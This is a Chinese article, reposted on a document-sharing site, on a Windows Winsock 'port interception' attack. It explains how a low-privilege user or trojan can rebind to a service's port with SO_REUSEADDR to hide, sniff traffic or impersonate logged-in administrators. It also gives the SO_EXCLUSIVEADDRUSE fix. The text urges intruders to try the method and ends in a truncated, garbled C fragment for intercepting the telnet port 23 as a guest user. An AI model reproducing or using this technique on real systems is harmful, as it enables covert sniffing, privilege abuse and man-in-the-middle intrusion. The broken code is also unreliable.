- 1、本文档共7页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
端口截听攻击技术
端口截听攻击在windows的socket服务器应用的编程中,如下的语句或许比比都是:s=socket(af_inet,sock_stream,ipproto_tcp);saddr.sin_family = af_inet;saddr.sin_addr.s_addr = htonl(inaddr_any);bind(s,(sockaddr *)saddr,sizeof(saddr)); 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 这意味着什么?意味着可以进行如下的攻击:1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过的地址交给真正的服务器应用进行处理。2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个socket的通讯需要具备非常高的权限要求,但其实利用socket重绑定,你可以轻易的监听具备这种socket编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用ntlm加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过socket发送高权限的命令,到达入侵的目的。4.对于构建的web服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 其实,ms自己的很多服务的socket编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对system应用的截听。包括w2k+sp3的iis也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定so_exclusiveaddruse要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 下面就是一个简单的截听ms telnet服务器的例子,在guest用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。以下是代码片段:#include #include #include #include dword winapi clientthread(lpvoid lpparam);int main(){word wversionrequested;dword ret;wsadata wsadata;bool val;sockaddr_in saddr;sockaddr_in scaddr;int err;socket s;socket sc;int caddsize;handle mt;dword tid;wversionrequested = makeword( 2, 2 );err = wsastartup( wversionrequested, wsadata );if ( err != 0 ) {printf(error!wsastartup failed!\n);return -1;}saddr.sin_family = af_inet;//截听虽然也可以将地址指定为inaddr_any,但是要不能影响正常应用情况下,应该指定具体的ip,留下给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了saddr.sin_addr.s_addr = inet_addr(0); saddr.sin_port = htons(23);if((s=socket(af_inet,sock_stream,ipproto_tcp))==socket_error){printf(error!socket failed!\n);return -1;}val = true;//so_reuseaddr选项就是可以实现端口重绑定的
文档评论(0)